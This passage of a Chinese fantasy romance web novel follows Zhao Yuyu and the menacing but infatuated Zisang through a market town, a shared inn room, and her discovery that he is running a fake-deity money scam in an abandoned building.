却见那摊主又朝子桑嫌弃道:“不是我说,你这夫君当得也太抠搜了点,糖葫芦又不值几个钱,还要论个买!这么漂亮的媳妇也不知道心疼着点!”
赵玉屿:“……”
她这才意识到是这摊主误会了,连忙摆手:“不是不是,小哥你误会了,我们不是……”
她还未来得及解释,子桑已先一步挡在她身前,望着摊主的目光阴翳森冷如鬼刹:“你想怎么死?”
赵玉屿:“?”
摊主:“?”
不是,他不就打抱不平多说了句话吗,多大点事就喊打喊杀的,这人是不是有病?
他看向赵玉屿的目光愈加怜悯,瞧着多水灵一大妹子,嫁得都是什么人呐,受罪嘞!
子桑方才一直在神游中,正想着赵玉屿在客栈同他说的话,忽而就听到这小摊主说什么漂亮媳妇,一脸谄媚目光猥琐,长相丑陋(摊主:?)。
子桑以为他色从胆中生,对赵玉屿图谋不轨,顿时起了杀心。
赵玉屿却以为他是觉得和自己被人误会成夫妻才生气,心中有些尴尬和一丝说不清道不明的失落,还是笑着朝子桑道:“子桑大人你别生气,我方才和他解释了。”
她又朝小摊主笑道:“这位大哥您误会了,我们不是夫妻,只是朋友而已。”
说罢她朝小贩道了声谢,将铜板数了数放在桌上,抱着糖葫芦袋转身离开。
子桑这才恍然意识到,原来方才摊主说的漂亮媳妇意思是,玉儿是……他媳妇?
一瞬间,云消雨散,春花盛开,万鸟齐鸣。
只这一个词,让子桑瞳孔猛然收缩,心脏按耐不住地狂跳不已。
玉儿是他的。
他右手怔怔地按住胸口感受着似乎要跃出胸腔的心跳,过了好半晌才似乎缓过神来,睫毛微微轻颤,猝然屏住的呼吸如鱼入水般缓缓舒展。
子桑弯起嘴角,将仅有的金戒指摘下丢到摊桌上:“赏你的。”
摊主:“!”
天降横财!
可他瞧了眼子桑身上那件还不如他的粗布衣裳,刚想告诉他别装逼,省着点钱花,却赶不上子桑匆匆离开的步伐。
小摊主只得无奈喊了一声,低头瞧了瞧手中的金戒指,做工还挺精细。
*
赵玉屿闷着头一股脑子往前走,她心中不知为何有些发胀发闷,越走越喘不过气一般,索性停下脚步,深吸一口气。
她安慰自己,虽说和子桑也算是共患难过,但和不喜欢的人被误以为是夫妻总是令人尴尬的。
可再怎么不高兴,也不至于那么生气吧!还动不动就给别人发死亡威胁!
赵玉屿瘪了瘪嘴,有些委屈,好歹她也是个女孩子,给她点面子不成吗?
秉承着没有一顿甜品解决不了的烦扰,她伸手捏了颗糖葫芦送入口中,气哼哼想,反正做完任务我就回家了,像谁稀罕你似的!
酸甜清爽的口感顿时充斥唇齿,却依旧压不下心中的烦闷,她索性又朝嘴里塞了一颗,恶狠狠的咀嚼发泄。
子桑快步追上赵玉屿,就见她正疯狂嚼着糖葫芦,两颊鼓鼓囊囊如同小松鼠一般,简直可爱至极。
他故意没出声,悄悄从后面伸手掐了把赵玉屿的脸。
赵玉屿吓得一个哆嗦,瞪大眼睛扭头望向他,像是受惊吓的小仓鼠,更可爱了。
赵玉屿见是他,拍了拍胸口咽下糖葫芦,抱怨道:“你干嘛?”
子桑见她眉头蹙起面色不悦,以为她被吓着了,拉着她的手低笑:“生气了?”
赵玉屿身子一怔,抽回手抱着袋子扭头朝前走去,赌气道:“子桑大人,男女授受不亲。”
男女授受不亲?
子桑不以为意,甚至嗤之以鼻。
在子桑的认知里根本没有男女之分,只有该死和懒得弄死的人。
更何况他们两个亲也亲过抱也抱过看也看过,现在说男女授受不亲早就晚了。
而且玉儿平日里也不曾在意这些,如今突然说这话定是生气了。
他心中一时有些奇怪:“怎么生气了?谁惹你不高兴?”
见赵玉屿只往前走不理他,他跨步拦在赵玉屿面前挡住她的去路,又低声问了一遍:“谁惹了你生气?”
不待赵玉屿回答,他目光微暗,自顾自漫声问道:“是方才那个小贩吗?还是客栈的小二?没关系,我将他们都杀了。”
赵玉屿见他挑起玉笛就要吹奏,连忙伸手拉住他的胳膊:“怎么动不动就喊打喊杀的?人家招你惹你了?!”
“那你怎么不高兴?”
赵玉屿松开手,几番欲言又止,最终摇了摇头道:“不关别人的事,我只是……我只是没有理清自己的情绪。”
她收敛起低落的情绪,扬起笑脸欢快道:“我有些饿了,咱们快去吃东西吧!待会还要买衣服,否则天黑了裁缝店都得关门了。”
她刚要转身,胳膊却被猛然拉住,身子一顿,赵玉屿扭头望向子桑。
子桑深若幽潭的眼眸凝望着她,语调轻柔却带着一丝不易察觉的诡谲波澜:“你的情绪,是因为我吗?”
赵玉屿愣住,半晌才回过神来,望着紧紧攥住自己手腕的修长手指,双颊不由自主飞若霞云,几不可闻地轻轻应下:“嗯。”
听到这个回答,子桑原本阴霾密布的眼眸瞬间消散,亮如星辰熠熠生辉得略显晃眼。
他忍不住弯起唇角,面色因为兴奋而微微泛起潮红。
只要是为了他就可以。
玉儿的情绪只能因为他而起伏。
方才,他一想到玉儿可能因为旁人而神色低落,内心便控制不住的嫉妒发狂,如同一条毒蛇吐信钻出,想要张开獠牙将那人生吞活剥,蚀骨啖肉放得罢休。
他走上前一步,脚尖抵着赵玉屿的脚尖,微微弯下腰,低头凑到她面前,低低轻问道:“那为什么不高兴,我让你难过了吗?”
他的语气无辜又略含委屈,漆黑且大的眼眸一动不动的凝望着赵玉屿,似乎是雨夜里淋湿的小狗,湿漉漉的鼻尖轻嗅着主人的掌心,呜咽低吟,配上那张极具迷惑性的清俊玉容,杀伤力极强。
赵玉屿已经被他此时的样子迷惑得失了理智,晕晕乎乎道:“当然不是。”
她结结巴巴:“我只是……只是担心你又随便杀人。”
总不能说她因为子桑不高兴同自己被误会为夫妻而难过吧!
而且他这视人命如草芥,动不动就喊打喊杀的性子着实让人头疼。
子桑拖长音调轻嗯一声,语气中含了丝撒娇:“那我以后不乱杀人了,好不好?”
赵玉屿瞧着他故意乖巧卖好的模样,忍不住低低轻笑出声。
子桑见她笑了,也扬唇笑了起来。
若是有人找死,该杀还是要杀的,只是玉儿既然不喜欢杀生,那暗地里解决便好,莫吓着她了。
第59章
暮色降临,夜市也逐渐热闹起来,赵玉屿和子桑两个人逛遍了整个小镇,新做了几身衣裳,吃了馄饨,又买了些扭麻花和糕点抱回客栈当宵夜。
回去的路上正巧经过一座道观,子桑朝里瞥了一眼,夜幕里道观依旧香火鼎盛,进进出出皆是祈福的香客。
他若有所思地凝望一眼,小道士们正将院子里成堆的香灰扫出鼎炉,正殿祈福的红箱里塞满了香火钱。
赵玉屿见他望向道观,调侃道:“这座道观里说不定还有你的塑像呢。我听说民间的百姓很是信奉抚鹤神使,为你特意制作了神像与三清上神一道供奉在道观
之中,要不咱们进去看看?”
子桑倒是不甚在意,拉着赵玉屿离开:“都是些泥菩萨,自欺欺人罢了。”
“也不能这么说,这些神像也是寄托了百姓们的美好心愿嘛。”
赵玉屿只当这是个小插曲,并未放在心上,扭头便忘记了。
回到客栈后她舒舒服服泡了个澡,这几天又是闯火场救人,又是冰洞过夜,又是落水又是骑熊,如今骤然松懈下来,才觉得自己活了过来,长舒一口气,将身体沉下浸泡在温热的浴桶中,感受着热水微微漾起,水流包裹住每一寸肌肤,热意顺着舒张的毛孔涌入体内卸下了疲惫,舒服得昏昏欲睡。
月移西窗,暗香浮动,不知过了多久,恍恍惚惚间听到楼下隐隐传来的二更梆响,赵玉屿猛然打了个瞌顿从酣甜的睡梦中惊醒,才发现居然已经戌时了。
她揉了揉有些干涩的眼睛,都泡了一个时辰了吗?
浴桶里的水居然还是热乎的,还冒着热气。
赵玉屿有些奇怪,拽下白布擦了擦身子,换上新买的衣裳撩开阻隔视线的纱帘,便见子桑正歪坐在椅子上看书。
猴大在一旁尽心尽力的给他剥橘子,小祖宗矜贵得很,吃橘子须得橘肉橙黄,不见杂色,就连橘子上面的白梗都得撕下免得吃了苦涩,难为了猴大还得掐起兰花指一点点撕开白梗。
赵玉屿系好腰带问道:“子桑大人,您还未沐浴呢吧。”
她有些不好意思,子桑让她先洗,结果她却睡着了,耽误子桑一直坐在这里等候。
她轻声道:“我去换上热水来。”
正待出门,尚未抬脚就听到子桑道:“太晚了,换水又得许久。”
他放下书伸了个懒腰,“你那水又没凉,我将就着泡下就行。”
赵玉屿一愣,他怎么知道水还热?
子桑似乎看透了她的疑惑,一边毫不避讳地褪去衣服走向浴桶,纱帘都懒得垂下,一边坦然道:“我方才给你续的热水,见你睡得太沉,便没叫醒你。”
赵玉屿:“!”
那,那她不是被看光了!
子桑似乎并没有意识到男女有别这个问题,他褪干净衣裳,当着赵玉屿的面□□滑入水中,扭身趴在浴桶边,下巴压在手臂上,原本便流畅的肌肉线条愈加起伏惹眼。
见赵玉屿面红如血,子桑有些好奇:“怎么了?”
“没,没什么。”对于他的坦坦荡荡,赵玉屿尴尬一笑,一时竟也不知道该说些什么,“就是耽误你泡澡了。”
子桑轻唔一声,打了个哈欠:“是有些晚。”
他脑袋微歪,因困倦而略微狭长的眼眸隔着氤氲的水汽濛濛望向赵玉屿,声音惫懒道:“下次一起泡吧。”
如果有一天,一个长相清俊正合你意的少年□□靠在浴桶里,眼中略含困意和稚气的朝你邀请一起沐浴,你会怎么办?
赵玉屿觉得此时脑袋里如同有一颗雷弹轰然炸开,蘑菇云冲天而起,遮天蔽日失去理智,大脑宕机,两眼发直,呆愣愣的站在原地手足无措。
子桑的话当真像是在勾引人沉沦的妖精,可他那副惫懒懵懂的模样又异样的纯净,不掺杂丝毫的杂质和邪淫,仿佛一切理所当然。
赵玉屿只得向自己解释,子桑自小便没受过人伦教导,他肯定是不懂得这些才会说出这种话,当初在奉仙宫沐浴,他不也是当着自己的面褪去衣服,还让自己帮他按摩呢。
如子桑这种倔强又骄傲的少年,怎么会做出勾引人的事情呢!
不可能,绝对不可能!
赵玉屿甚至在思考是不是自己泡了太久的热水澡出现了幻听。
只是鼻子不争气地一热,一股热流顺着鼻腔丝滑流下。她伸手摸了摸,鲜红的鼻血像是一展飘扬的旌旗扎得她眼疼。
她连忙捂住鼻子昂头闷声道:“天干物燥,天干物燥。”
说罢,逃也似的跑出门,也不管说话前后矛盾,“屋里水汽太甚有些闷,我出去透透气!”
子桑望着她飞鸟般逃离的身影,眉梢微微扬起,目光狡黠,弯了弯嘴角,略歪脑袋回味着赵玉屿方才的神色,眼神微黯,面色露出一丝潮红。
玉儿害羞起来更可爱了,好想将她拦在怀里,亲她、抱她,想……
子桑并非完全不懂人事,摘星楼中书籍众多,其中也不泛一些杂书。只是他往日对这些无感,甚至厌恶于旁人有所接触,所以这类书略带翻翻便无趣的丢在一旁,而今回想起来,却是别有一番风味。
赵玉屿自然不知晓子桑的想法,她此时站在客栈门前猛吸清醒空气,等到发闷的脑袋彻底清醒了才摘下塞鼻子的纸巾。
鼻血止住了。
赵玉屿松了口气,正想转身回到客栈,下意识抬头望向客栈二楼,紧闭的窗户透出摇曳烛光的暧昧昏黄,像是鹅梨账中燃起的一缕暖香萦绕周身,脑海中又不由回想起方才子桑在氤氲水汽中流露一汪春意的眼眸。
她哀嚎一声,捂着脑袋蹲在地上。
完蛋了,她的想法不干净了!
磨磨蹭蹭良久,等到三更的梆响,客栈里一直守着的小二也遭不住了,打着哈欠问她到底进不进来,不进来就关门了,赵玉屿才回了房间。
她悄声推开门,想着若是子桑睡着了倒正好省了尴尬。
然而刚进屋,就见子桑穿着一身素白的里衣正靠在床边等她。
赵玉屿:“……怎么还没睡啊?”
“等你啊。”子桑抬了抬有些困倦的眼皮,“怎么这么久才回来?”
好像久等丈夫未归的怨妇。
赵玉屿脑袋中突然冒出这个想法,吓了自己一跳,连忙甩掉这些乱七八糟的念头。
“我正好有些饿了,见外面有家店还开着,就去吃了碗面。”
子桑瞥了她一眼,要不是他知晓赵玉屿一直蹲在楼下他就信了。
他倒也没拆穿赵玉屿,打了个哈欠乏懒道:“睡吧,好困。”
赵玉屿从柜子里抱出一床被子铺在地上笑呵呵道:“床有些小,我睡地上就行。”
她褪了外衣刚想钻进被窝就感到一阵天旋地转,回过神来时子桑已经将她整个人丢在了床铺里面,舒舒服服躺在她身边,将她整个人搂在怀里:“不行,这些日子抱着你睡习惯了。”
赵玉屿企图挣扎:“你可以抱着猴大睡。”
猴大听到这话,闪着星星眼梗起脖子满含期待地望向柔软舒适的床铺,就听到子桑嫌弃的声音。
“毛那么多扎手得很,让它睡地上。”
猴大:“QAQ”
被嫌弃的猴大的一生。
人家毛才不扎手呢,人家肚子还软软的,明明是你变了心。
它气哼哼地朝床铺吐了口口水,在子桑的睨视下吓得一哆嗦,连忙捂住嘴,慌乱的双眼乱飘,一股脑钻入地上刚铺好的被窝里缩着脑袋不敢出来。
没关系,人家一只猴睡得更宽敞!不比你们两个人挤来挤去得强!
赵玉屿僵在子桑怀里,眼睛一瞬不瞬盯着床顶的布帐,表面无异,其实内心波涛汹涌久久不能平静,点点热意顺着子桑搂着的肌肤流淌全身,分不清是子桑掌心的温热还是她的体温。
赵玉屿此时满脑子都是黄色废料。
她可跟子桑这种对男女之事有所了解但一知半解的纯情处男不一样。
赵玉屿上高中就看了不少的言情小说,玩的游戏多少也带了些鲜亮的颜色。
之前虽然同子桑睡在一张床上好几日,孤男寡女洞穴里也过过夜,但当时情况特殊,她也没那旖旎心思。
可是现在不一样啊,子桑昨日可是亲了她的。
一想起昨日,温凉薄软的触感似乎还残留在唇畔,赵玉屿忍不住面色染上薄红,悄悄抬眼望向子桑。
子桑似乎已经睡着了,双眼轻阖,长睫如扑扇,在眼下投出一小团阴影。他的唇已不似先前的苍白,像是洇湿的桃花,水珠滴落其上,在微微烛光下散着莹润的光泽。
赵玉屿瞧着他的脸微微发怔,整张脸精雕玉琢,挑不出一丝瑕疵。
子桑似乎睡得有些不舒服,他略微翻身,双手环着赵玉屿的腰肢将她整个人搂在怀中,身体贴合不留一丝缝隙。
泼墨般的长发披散在身前枕上,同赵玉屿的头发纠缠在一块分不清彼此。
子桑的身体并不是夸张的健硕,而是少年人的纤细修长却不单薄。
他此时搂着自己,肌肤相贴间,隔着单薄的衣衫赵玉屿能感受到他手臂肌肉结实而有力的曲线,能感受到他胸膛灼热的体温,甚至能在万籁俱寂的深夜,在晦暗暧昧的床帐间,听到他的心跳声。
扑通,扑通,一声又一声。
像是大海漂泊时,他缱绻又旖旎地轻轻唤起自己的名字。
暧昧随着体温在狭小的床帐间流淌,赵玉屿忍不住将脸埋进他的胸膛,微乱的心跳声同子桑的心跳交织在一起,在静谧的空间里如同擂鼓。
完了,脸好像更红了。
第60章
神思欲淫的后果就是熬了大半夜才睡得着觉,第二天日上三竿,赵玉屿才从沉沉的睡梦中恍惚清醒。
她打了个哈欠还有些困顿,掀开低垂的眼皮,发现狭小的床铺间只余她一人。床帐垂下,隔绝了床外的凉意和刺眼阳光,赵玉屿伸手一摸身旁的被褥,已经温凉,想来子桑起床许久。
她揉了揉眼睛,撩开床帐发现子桑不在屋子里,猴大也不在,顿时有些奇怪。
子桑向来是不曾亏待自己的,早起这事从不在他的规划之内,在奉仙宫时每日沐浴用膳后都要睡个美人觉,即便流落在外,他也要睡到酣饱才能起床。而且子桑起床气极大,平日里惹了他还好,若是睡觉时被人吵了他的清净,便是神仙来都救不了。
更何况子桑不喜欢同人有太多接触,他喜欢如画山水、也喜欢市井烟火,世间的一切风景他都喜欢,却又偏偏不喜欢人,往常若不是赵玉屿硬拉着他逛街,他是不愿意出门的。
如今居然不在房中,当真是奇怪。
赵玉屿穿上鞋子正待去找人,未待她套上外套,房门便被打开了。
子桑见她起床了,将手中拎着的食盒放在桌上:“这家的包子还不错,你尝尝。”
原来是去买早膳了。
赵玉屿松了口气,系上衣带走出来,打开食盒,扑鼻的肉香飘出,见那包子的确又大又白瞧着就好吃,她心里有些欢喜,子桑竟也知道照顾别人,可见是有改变的。
正待毫不吝啬的夸赞两句,就听到门口传来一阵窸窸窣窣的轻响,抬眼一瞧,猴大正扛着鼓鼓囊囊的麻袋摇摇摆摆进了屋子,它被麻袋罩住头脸压弯了腰,累得直吐舌头,走到子桑面前将袋子重重朝地下一放,才长舒口气擦了擦满头满脸的汗。
那袋子触地的刹那发出一阵清脆悦耳的脆响,熟悉的声音让赵玉屿有些惊愕,还是忍不住指了指袋子问道。
“这是什么?”
子桑神色略显得意,给自己倒上一杯茶,朝袋子那儿昂了昂头:“打开看看。”
赵玉屿见他如此神情,依言蹲身拨开袋子,顿时被袋子里刺眼的金光闪到眼睛,差点睁不开眼。
“!”
果然,袋子里满满当当皆是铜串碎银,还掺杂着些银票,散发着满满的金钱气息。
赵玉屿瞠目结舌:“你哪来这么多钱?”
子桑饮了口茶,轻飘飘道:“自然是我赚的。”
赚的?
“怎么赚的?”
子桑思索片刻,模棱两可道:“算是做生意赚的。”
赵玉屿听到这话更加愕然,这才一上午,什么正经生意能赚这么多钱?
她不免上下扫了眼子桑,他该不会是去……做鸭了吧。
啊呸呸呸!想什么呢!
就是宋承嵘做鸭子桑都不可能去做鸭。
赵玉屿犹豫问道:“子桑大人,你是做的什么生意啊?”
子桑却略带神秘,歪头轻笑道:“不告诉你。”
他抖了抖衣袖,漫不经心道,“总之不偷不抢我也能赚到钱,你日后不用想着省钱,待会儿我带你去做几件新衣裳,买些上好的首饰,再把金圈赎回来。同我在一处,必定不会亏待了你。”
他虽不认为让小白猴大它们“拿”钱是什么令人发指的事情,但既然赵玉屿不喜欢,不做就是了。赚钱对他来说也只是麻烦了些,并不是什么难事。
赵玉屿已经彻底懵了,瞧着子桑神色不像是撒谎,他也从不屑于撒谎,应当是真的赚到的钱。
可她想破脑袋也着实想不到子桑究竟是如何能在不偷不抢的前提下赚到这么多钱。
毕竟他可是一个衣来伸手饭来张口,洗衣晒被全靠猴大的生活五级残废,居然比她还能赚钱?
怀揣着满腹心思吃完早膳后,子桑当即拉着赵玉屿的手逛遍了整条街,出手相当阔绰,买了一大堆首饰衣服、金链子玉镯子银项圈,什么贵买什么,当场就给赵玉屿套上,恨不得将前些日子缺她的都补回来,简直将她当成了圣诞树打扮,挂了满身的金银珠宝,浑身闪闪发光。
只是她这身上得挂了有二斤重的首饰,坠得脖子疼。
回到客栈,赵玉屿拆下满身沉甸甸的首饰,揉着发酸的脖子还是忍不住问道:“子桑大人,你究竟是怎么赚到的钱,你不告诉我钱的来历,我用着心里也不踏实啊。”
子桑已经换了一身黛青色缠枝幽昙暗纹罗衣,脖颈处露出一小截雪白的里衬,不同于他往日所穿的或灼烈或青雅的衣裳,赵玉屿第一次见子桑穿这种深色衣裳。
浓重与素雅两色交叠间更衬得他脖颈修长,面白如玉,他腰间系着一条银色圆扣腰带,满头青丝用上好的白玉发冠高竖成马尾荡在身后,一小缕头发垂在身前,恍惚间同黛青色的衣衫融为一体,像是风流矜贵的世家公子。
子桑将她按在梳妆台前,学着她以前给自己梳发时的模样,拿起刚买的紫檀香木梳有些笨拙的给她梳着长发。
他的手修长白皙,骨节分明,指若削葱根,每一处指甲都泛着粉白色的莹润光泽,温柔地从少女乌墨色的发丝间穿过,像是裹在乌云中的飞鸟,是黑沉海面中飘荡的白帆,浓烈的视觉冲击让他的每一个动作都赏心悦目。
赵玉屿瞧着他的手一时出神,心中不由感慨道,艺术品,这双手绝对是艺术品。
子桑从新买的发簪中挑了一支替她簪上,瞧着镜子里赵玉屿娇俏的容颜道:“你不是说要做个好人吗,我只是发现了一个既能帮助别人,又能赚钱的法子。”
越说越玄乎,赵玉屿扭身望向他:“那你下次挣钱的时候能带我一起去吗?”
子桑却皱了皱眉头,有些嫌弃厌恶道:“不行,那地方你不能去,不干净。”
若不是赵玉屿知道子桑的秉性,她当真觉得子桑去当鸭了。
毕竟既能帮助别人(消火?),又能快速赚钱,还不干净的地方,还挺符合青楼的条件。
好吧,是她猥琐了。
赵玉屿若有所思,正想着下次子桑赚钱的时候自己偷偷跟着去,没想到第二日等她醒来的时候,子桑正搂着她睡得香甜,直到日上三竿才起床。
而桌子上已经又摆了满当当一麻袋的钱。
赵玉屿:“……”
这赚钱能力竟恐怖如斯。
赵玉屿这下打死也不相信子桑是正儿八经赚的钱,至少在她的认知里,能一夜之间快速来钱的办法都写在律法里。
见子桑不愿意告诉自己真相,赵玉屿只得自己想办法查探。
当天入夜,她早早躺在床上假装入眠。
子桑沐浴之后照例搂着她睡觉,月上枝头,寒鸦栖眠,梆响三声,已经到了后半夜,赵玉屿实在困得不行,昏昏沉沉间正要睡过去,忽而感到身边床铺微动。
她猛然惊醒,双眼却依旧紧闭状若未醒。
身旁人却并未起身,赵玉屿似乎能感觉到一束灼热的目光盯着她许久,
久到赵玉屿都以为子桑发现自己在假眠。
这时,清峋的手指穿过她的发间,轻柔抚顺着她毛绒绒的长发,一个吻伴着冷冽的清香落在她的脸颊,像是午夜幽幽绽放的昙花。
赵玉屿身子微怔,双颊忍不住爬上娇红,身旁的人已经翻身起床,衣摆悉索间床帘浮动,传来窗户吱嘎的轻响。
她睁开眼,透过床帘被风吹得轻浮起的缝隙望到子桑飘然一跃而出窗台的身影,半空中小白挥动羽翼,转瞬间消失在窗外。
冷香顺着微敞的窗户飘入房中,赵玉屿起身走到窗台,透过沉沉的夜色看到小白如流星般的身姿划过高低错落的漆黑屋檐,而后落入不远处的一栋矮楼。
她记住小白落下的位置,转身穿好衣服跑下了楼,穿过长街小巷,朝那栋矮楼奔跑而去。
忽然,清冷的街道上似乎也有几个人鬼鬼祟祟朝这边赶来,赵玉屿怕被发现行踪,连忙躲在一旁的小巷子里借夜色遮掩住身体。
那几人路过她身旁,小声催促道:“快点快点,再晚就轮不上咱们了!”
有人问道:“不是丑时才开始吗?”
另一人骂道:“说你笨你还真笨,不得排队吗!若今日又排不上,你哭都没地方哭!”
“可,可我提说那矮楼里闹鬼啊!”
另一人连忙捂住他的嘴:“呸呸呸!咱们待你来赚钱,你可别一时嘴快掀了锅!我告诉你,你若是害怕就给我赶紧滚蛋!”
见他们几人低声骂骂咧咧朝矮楼走去,赵玉屿拐出小巷,偷偷跟着他们一块到了矮楼前。
这是个已经破败的楼房,白日里赵玉屿见过,黑乎乎的满是灰尘,牌匾都掉了半块,看起来已经被遗弃许久。逛街时听小摊主提及过,好像是座凶宅,没人敢修缮所以就一直空置在这里。
那几人敲了敲破败的房门,不一会儿,一个身披黑色斗篷,侏儒般的矮人缓缓打开门。
黑暗中瞧不清那人的面容,几人见了他顿时点头哈腰,极尽恭维地将早已备好的钱袋奉上:“咱们三个人一共三十两银子,您看够吗?”
浓郁的黑夜里,那人伸出一只瘦长的手掂量掂量钱袋,三人透过昏暗的月光,似乎看到一双泛着银光的利爪。
其中一人顿时毛骨悚然,猛地眨了眨眼睛以为自己看错了,再定睛一看,那人已经收回了手,将门稍稍打开示意他们进去。
赵玉屿望着那几个已经消失在门内的身影,着实捉摸不透。
依子桑的性子,怎么会来这种肮脏破败的地方做生意?
60-70
第61章
眼看着丑时就要到了,赵玉屿寻机进入楼中。
正门自然是进不去的,她悄然绕到后院,见院子里有棵枯死的老槐树,干瘦的枝丫伸出院墙,正是翻墙的好地点,便推了辆停靠在小巷中的泔水车,踩着泔桶边缘扒墙攀爬,费了九牛二虎之力才爬上墙头,抱着树干滑下。
矮楼里亮着微暗的烛光,赵玉屿蹑手蹑脚从后院绕到矮楼侧面,趴在破败的窗户朝里悄悄探去,就见楼中铺着一层又一层的蜡烛,昏黄的烛光中,一座巨大的神像巍然屹立于蜡烛的环绕中。
楼里已经聚集了一众百姓,皆是秩序井然的垂首跪地,双手捧起一串铜钱。
赵玉屿在前门瞧见的黑衣人站在神像前,巨大的斗篷将他的身体遮盖的严严实实,露出的面容用纯白色的面具罩住,黑洞洞的眼睛宛若幽魂。他拎着一个篮子,似乎有些坡脚,一跳一跳走到众人面前,将他们手中的铜钱串尽数收走,再从篮子里拿出一盏盏莲花灯,挨个发放。
众人捧起莲花灯,在那黑衣侏儒的指挥下,朝神像虔诚跪拜,齐齐高呼“仙尊保佑”。
赵玉屿瞧着那熟悉的莲花灯,不就是她跟子桑白日逛街时在小摊上瞧见的款式吗,她觉得好看还买回去一个,怎么这还搞上批发了。
从她的角度,恰好能看到神像后自在躺坐的子桑。
他左腿曲起,一条胳膊搭在膝盖上,右肘抵垫,单手支棱着下巴正打着哈欠。
神像隔绝了众人的视线,听到众人狂热的高呼,他点着眼皮,没精打采的嗯了一声。
见仙尊回答,那群百姓更是迸发出惊人的光亮,皆叩首大拜:“仙尊显灵,仙尊显灵,求仙尊助我心愿,求仙尊助我心愿!”
见众人神情激动,黑衣人走到神像前猛然高举手臂,众人刹那收声,整个矮楼一瞬间陷入死寂。
黑衣人举起手中的莲花灯,面朝神像跪下,吹灭灯芯后,从怀中取出一串铜钱放于莲花灯中,供奉与三柱香火前。
底下众人面面相觑,有人灵光一闪,顿时明了其中含义,有样学样一口气吹灭了烛火,从怀中掏出一锭银子放到莲花灯内高举过头顶喊道:“信徒愿终身供奉仙尊,还求仙尊助信徒实现心愿!”
黑衣人伸出手指了指他,那人在示意下弯腰走上前,小心翼翼将莲花灯供奉于案桌上,一撩衣摆跪下,极度虔诚恳切道:“信徒王有成,前日层求仙尊助我时来运转,赚得百金,没想到当真逢赌必赢,今日特意前来还愿,还望仙尊助信徒日后逢赌必赢,逢赌必赢!”
神像后似是传来一声轻笑:“你想要逢赌必赢,总得有足够的筹码,既然你求神心诚,这些便赏给你吧。”
似有一声鹤唳自天外传来,众人抬头望去,便见一堆银光从矮楼的破顶里哗浪浪砸下,尽数堆积在那许愿的信徒前,竟有小山般高。
王有成大喜,朝前一扑将银子尽数搂在怀中、塞在衣兜里,朝神像拼了命的叩拜:“多谢仙尊,多谢仙尊!”
原本见还要出银钱而犹豫不决的人瞧见这从天而降的神迹,顿时纷纷从衣兜掏出钱财供奉于莲花灯里,争先恐后要上贡仙尊。有人甚至取出了一累银票,高喊着“我的香火钱最多,求仙尊助我心愿!求仙尊助我心愿!”
神像后赫然传出一声略显烦躁的声音:“闭嘴!”
子桑伸出手指抵住耳朵,眉头紧蹙,“再吵滚出去!”
他话音落地的那刻,一道黑影从暗处飞射而出,将那高喊的信徒猛然从窗户中掼出摔在院子中。
那信徒哀嚎一声,在地上打了几个滚,捂着脑袋正要起身,猛然感到胸口一重,抬眼就看到一双暗夜里泛着幽绿色冷光的眼睛。那怪物张开血盆大口,獠牙尽现,口中腥臭扑面而来,似是要将他整个吞入腹中,吓得那信徒登时大叫一声昏死过去。
楼中众人至始至终都无人看清那道黑影的真身,只听到黑暗中那信徒惨叫一声旋即没了声息,屋里霎时再次静如死寂。众人皆小心翼翼跪在地上不敢再出声,毕恭毕敬抖着胳膊将钱财尽数献上,这次的供奉中却掺杂了恐惧,生怕惹了仙尊不悦被处以神罚。
黑衣人再次高举起手臂,朝神像跪拜一礼后,以神谕为由,指引着供奉钱财最多的一人上前,接受神引。
赵玉屿:“”
不用说了,那黑衣矮子必定是猴大无疑。
毕竟猴大之前在奉仙宫就整过这死出。
合着这一人一猴大半夜不睡觉跑到这里来装神弄鬼的当神仙骗钱。
看着楼中即便亲眼目睹了暴虐一幕,却因为欲望依旧如痴如狂陷入疯魔奉献出全部身家的人群,赵玉屿额角发疼。她抬脚走到矮楼正门前,一把推开房门,高声喊道。
“仙尊大人,小女也想祈求仙尊神谕。”
众人见一个姑娘竟然如此大大咧咧推门走了进来,都面露惊恐,唯恐她惹了仙尊不悦,如方才那人一般受到惩罚。
然而,想象中的暴虐和怒意并没有降临,神像似乎沉默了片刻,竟未发出丝毫神谕。
赵玉屿穿过人群,跃过一圈又一圈的烛火走到神像面前,将怀中的钱袋放在香案上,咬牙笑道:“仙尊大人,敢问何为赚钱之道?”
神像:“”
猴大见了赵玉屿的那一瞬,跳出来昂首挺胸站在香案面前阻拦,以防她亵渎仙尊神威。
赵玉屿直接一手擒住它的脖子将他按在香案上,猴大顿时摔了个屁股蹲,望着眼前阴恻恻的面容回想起当初的死亡威胁,立刻举起双手双脚投降。
身后一众信徒:“!!!”
此女竟然恐怖如斯,竟然敢在仙尊面前如此放肆,难不成是传说中的夜叉化人?
众人大气都不敢喘一声,良久,神像传来一声不耐烦的斥令:“其他人都滚出去。”
众人见仙尊发话心中一抖,生怕走晚了惹仙尊不悦如窗外那昏死的人一般,皆慌作一团扭头就要朝外跑。
“等等!”
赵玉屿指了指香案上的莲花灯,“把钱拿走,花灯就当送你们的。”
众人犹豫片刻,见仙尊没有再发话,应是默认了,便都你争我抢急匆匆将花灯抱回后逃也似的朝楼外跑去,一个个宛若游魂追鬼,撒丫子跑入夜色中。
不出片刻,楼中便没了其他人影。
周遭一片寂静,不多会儿,神像后面探出一个脑袋。
子桑无奈道:“你怎么来了?”
赵玉屿瞧着这尊神像气笑了:“我还想问你呢,你大半夜不睡觉就跑到这里来骗钱?”
骗?
子桑十分不认同。
“我是在赚钱。”
他从神像后走出来,一脸的理所应当:“赚钱不过就是交易,出卖自己拥有的,得到自己想要的。这些人想要的无非就是钱、权、色,这些我都能给他们,他们拿钱来交换,很公平。”
赵玉屿双手环胸,听着他狡辩:“赌桌上多赢一局倒是好办,很容易做手脚,可若是人家就要一夜暴富,你哪来的钱给人家?”
子桑拿起桌上的一盏莲花灯把玩,漫不经心道:“赌场不是有钱吗?”
赵玉屿愕然,这才意识到那从天而降的白花花的银子是从哪冒出来的。
合着他先从赌场偷了钱拿出来给赌徒们,再让赌徒用赃款去赌场将钱光明正大的赌回来供奉给他,这样他也算是正儿八经赚到的钱,而不是偷来的钱。
人才,真他娘是个人才,洗()钱的一把好手。
这脑回路正常人一时半伙还真理解不了。
赵玉屿觉得额角再次青筋抽抽,她深吸一口气接着问道:“那总有人不求财吧,其他人你怎么办?”
子桑坐在香案上悠悠道:“不求财,无非就是求权求色。求权的想要高中当官,这又不是一时半伙的事儿,等他们考完咱们早就离开这里了;求色的,看中谁我让猴大它们将人绑去不就成了。”
